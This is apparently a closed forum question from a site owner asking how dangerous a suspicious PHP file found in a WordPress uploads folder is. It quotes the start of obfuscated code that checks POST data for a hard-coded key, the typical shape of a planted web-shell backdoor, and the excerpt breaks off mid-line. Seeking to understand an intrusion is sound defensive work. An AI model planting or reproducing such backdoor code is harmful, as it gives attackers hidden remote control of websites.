How dangerous is this suspicious PHP code? [closed]
I found this code on my web server in /wp-content/uploads/2023/index.php:
$hello_dolly[]=’b8f878fc41d0fd3c’;
$hello_dolly[]=$_POST;
$hello_dolly[]=’color’;
if (isset($hello_dolly[1][$hello_dolly[0]])) {
$dolly = $hello_dolly[1][$hello_…